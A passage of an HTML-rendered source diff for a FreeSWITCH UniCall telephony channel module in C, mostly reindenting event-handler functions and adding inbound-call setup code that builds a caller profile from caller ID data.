-        return ZAP_FAIL;
-    }
-    *sp = session;
</del><ins>+        *sigmsg-&gt;channel-&gt;caller_data.collected = '\0';
</ins><span class="cx"> 
</span><del>-    return ZAP_SUCCESS;
</del><ins>+        if (sigmsg-&gt;channel-&gt;caller_data.cid_name[0] == '\0')
+                switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_name, sigmsg-&gt;channel-&gt;chan_name);
+
+        if (sigmsg-&gt;channel-&gt;caller_data.cid_num.digits[0] == '\0') {
+                if (sigmsg-&gt;channel-&gt;caller_data.ani.digits[0] != '\0')
+                        switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_num.digits, sigmsg-&gt;channel-&gt;caller_data.ani.digits);
+                else
+                        switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_num.digits, sigmsg-&gt;channel-&gt;chan_number);
+        }
+
+        tech_pvt-&gt;caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                 &quot;UniCall&quot;,
+                                                                                                                 SPAN_CONFIG[sigmsg-&gt;channel-&gt;span_id].dialplan,
+                                                                                                                 sigmsg-&gt;channel-&gt;caller_data.cid_name,
+                                                                                                                 sigmsg-&gt;channel-&gt;caller_data.cid_num.digits,
+                                                                                                                 NULL,
+                                                                                                                 sigmsg-&gt;channel-&gt;caller_data.ani.digits,
+                                                                                                                 sigmsg-&gt;channel-&gt;caller_data.aniII,
+                                                                                                                 sigmsg-&gt;channel-&gt;caller_data.rdnis.digits,
+                                                                                                                 (char *) modname,
+                                                                                                                 SPAN_CONFIG[sigmsg-&gt;channel-&gt;span_id].context, sigmsg-&gt;channel-&gt;caller_data.dnis.digits);
+        assert(tech_pvt-&gt;caller_profile != NULL);
+
+        if (sigmsg-&gt;channel-&gt;caller_data.screen == 1 || sigmsg-&gt;channel-&gt;caller_data.screen == 3)
+                switch_set_flag(tech_pvt-&gt;caller_profile, SWITCH_CPF_SCREEN);
+
+        if (sigmsg-&gt;channel-&gt;caller_data.pres)
+                switch_set_flag(tech_pvt-&gt;caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
+
+        snprintf(name, sizeof(name), &quot;UNICALL/%u:%u/%s&quot;, sigmsg-&gt;channel-&gt;span_id, sigmsg-&gt;channel-&gt;chan_id, tech_pvt-&gt;caller_profile-&gt;destination_number);
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Connect inbound channel %s\n&quot;, name);
+        switch_channel_set_name(channel, name);
+        switch_channel_set_caller_profile(channel, tech_pvt-&gt;caller_profile);
+
+        switch_channel_set_state(channel, CS_INIT);
+        if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Error spawning thread\n&quot;);
+                switch_core_session_destroy(&amp;session);
+                return ZAP_FAIL;
+        }
+
+        if (zap_channel_add_token(sigmsg-&gt;channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Error adding token\n&quot;);
+                switch_core_session_destroy(&amp;session);
+                return ZAP_FAIL;
+        }
+        *sp = session;
+
+        return ZAP_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> static void on_devicefail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_devicefail\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_devicefail\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_protocolfail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_protocolfail\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_protocolfail\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_sigchanstatus(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_sigchanstatus\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_sigchanstatus\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_detected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
-    //struct channel_map *chanmap;
-    //char name[128];
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
+        //struct channel_map *chanmap;
+        //char name[128];
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_detected\n&quot;);
-    switch_mutex_lock(globals.channel_mutex);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_detected\n&quot;);
+        switch_mutex_lock(globals.channel_mutex);
</ins><span class="cx"> 
</span><del>-    //chanmap = spri-&gt;private_info;
</del><ins>+        //chanmap = spri-&gt;private_info;
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;offered.channel])))
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG,
-                          SWITCH_LOG_NOTICE,
-                          &quot;--Duplicate detected on channel s%dc%d (ignored)\n&quot;,
-                          spri-&gt;span,
-                          e-&gt;offered.channel);
-        switch_core_session_rwunlock(session);
-        switch_mutex_unlock(globals.channel_mutex);
-        return;
-    }
</del><ins>+        if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;offered.channel]))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;--Duplicate detected on channel s%dc%d (ignored)\n&quot;, spri-&gt;span, e-&gt;offered.channel);
+                switch_core_session_rwunlock(session);
+                switch_mutex_unlock(globals.channel_mutex);
+                return;
+        }
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG,
-                      SWITCH_LOG_NOTICE,
-                      &quot;-- Detected on channel s%dc%d (from %s to %s)\n&quot;,
-                      spri-&gt;span,
-                      e-&gt;offered.channel,
-                      e-&gt;offered.parms.originating_number,
-                      e-&gt;offered.parms.destination_number);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG,
+                                          SWITCH_LOG_NOTICE,
+                                          &quot;-- Detected on channel s%dc%d (from %s to %s)\n&quot;,
+                                          spri-&gt;span, e-&gt;offered.channel, e-&gt;offered.parms.originating_number, e-&gt;offered.parms.destination_number);
</ins><span class="cx"> 
</span><del>-    switch_mutex_unlock(chanmap-&gt;mutex);
</del><ins>+        switch_mutex_unlock(chanmap-&gt;mutex);
</ins><span class="cx"> 
</span><del>-    //pri_proceeding(spri-&gt;pri, e-&gt;offered.call, e-&gt;offered.channel, 0);
-    //pri_acknowledge(spri-&gt;pri, e-&gt;offered.call, e-&gt;offered.channel, 0);
</del><ins>+        //pri_proceeding(spri-&gt;pri, e-&gt;offered.call, e-&gt;offered.channel, 0);
+        //pri_acknowledge(spri-&gt;pri, e-&gt;offered.call, e-&gt;offered.channel, 0);
</ins><span class="cx"> 
</span><del>-    switch_mutex_unlock(chanmap-&gt;mutex);
</del><ins>+        switch_mutex_unlock(chanmap-&gt;mutex);
</ins><span class="cx"> 
</span><del>-    if ((session = unicall_incoming_channel(sigmsg, &amp;session)))
-    {
-    }
-    else
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Cannot create new inbound channel!\n&quot;);
-    }
</del><ins>+        if ((session = unicall_incoming_channel(sigmsg, &amp;session))) {
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Cannot create new inbound channel!\n&quot;);
+        }
</ins><span class="cx"> #endif
</span><del>-    switch_mutex_unlock(globals.channel_mutex);
</del><ins>+        switch_mutex_unlock(globals.channel_mutex);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_offered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
-    //struct channel_map *chanmap;
-    //char name[128];
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
+        //struct channel_map *chanmap;
+        //char name[128];
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_offered\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_offered\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_requestmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_requestmoreinfo\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_requestmoreinfo\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_accepted(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_accepted\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_accepted\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_callinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_callinfo\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_callinfo\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_facility(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_facility\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_facility\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_dialednumber(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dialednumber\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dialednumber\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_dialing(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dialing\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dialing\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_sendmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_sendmoreinfo\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_sendmoreinfo\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_proceeding(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    //struct channel_map *chanmap;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        //struct channel_map *chanmap;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_proceeding\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_proceeding\n&quot;);
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    chanmap = spri-&gt;private_info;
</del><ins>+        chanmap = spri-&gt;private_info;
</ins><span class="cx"> 
</span><del>-    if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;proceeding.channel])))
-    {
-        switch_core_session_message_t *msg;
</del><ins>+        if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;proceeding.channel]))) {
+                switch_core_session_message_t *msg;
</ins><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG,
-                          SWITCH_LOG_NOTICE,
-                          &quot;-- Proceeding on channel s%dc%d\n&quot;,
-                          spri-&gt;span,
-                          e-&gt;proceeding.channel);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;-- Proceeding on channel s%dc%d\n&quot;, spri-&gt;span, e-&gt;proceeding.channel);
</ins><span class="cx"> 
</span><del>-        channel = switch_core_session_get_channel(session);
-        assert(channel != NULL);
</del><ins>+                channel = switch_core_session_get_channel(session);
+                assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-        switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
-        switch_channel_mark_pre_answered(channel);
</del><ins>+                switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
+                switch_channel_mark_pre_answered(channel);
</ins><span class="cx"> 
</span><del>-        switch_core_session_rwunlock(session);
-    }
-    else
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG,
-                          SWITCH_LOG_NOTICE,
-                          &quot;-- Proceeding on channel s%dc%d but it's not in use?\n&quot;,
-                          spri-&gt;span,
-                          e-&gt;proceeding.channel);
-    }
</del><ins>+                switch_core_session_rwunlock(session);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG,
+                                                  SWITCH_LOG_NOTICE, &quot;-- Proceeding on channel s%dc%d but it's not in use?\n&quot;, spri-&gt;span, e-&gt;proceeding.channel);
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_alerting(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    //struct channel_map *chanmap;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        //struct channel_map *chanmap;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_alerting\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_alerting\n&quot;);
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    chanmap = spri-&gt;private_info;
</del><ins>+        chanmap = spri-&gt;private_info;
</ins><span class="cx"> 
</span><del>-    if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;alerting.channel])))
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;-- Ringing on channel s%dc%d\n&quot;, spri-&gt;span, e-&gt;alerting.channel);
-        channel = switch_core_session_get_channel(session);
-        assert(channel != NULL);
</del><ins>+        if ((session = switch_core_session_locate(chanmap-&gt;map[e-&gt;alerting.channel]))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;-- Ringing on channel s%dc%d\n&quot;, spri-&gt;span, e-&gt;alerting.channel);
+                channel = switch_core_session_get_channel(session);
+                assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-        switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
-        switch_channel_mark_ring_ready(channel);
</del><ins>+                switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
+                switch_channel_mark_ring_ready(channel);
</ins><span class="cx"> 
</span><del>-        switch_core_session_rwunlock(session);
-    }
-    else
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;-- Ringing on channel s%dc%d %s but it's not in use?\n&quot;, spri-&gt;span, e-&gt;alerting.channel, chanmap-&gt;map[e-&gt;alerting.channel]);
-    }
</del><ins>+                switch_core_session_rwunlock(session);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;-- Ringing on channel s%dc%d %s but it's not in use?\n&quot;, spri-&gt;span, e-&gt;alerting.channel,
+                                                  chanmap-&gt;map[e-&gt;alerting.channel]);
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_connected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_connected\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_connected\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_answered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_answered\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_answered\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_fardisconnected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_fardisconnected\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_fardisconnected\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_dropcall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dropcall\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_dropcall\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_releasecall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_releasecall\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_releasecall\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_farblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_farblocked\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_farblocked\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_farunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
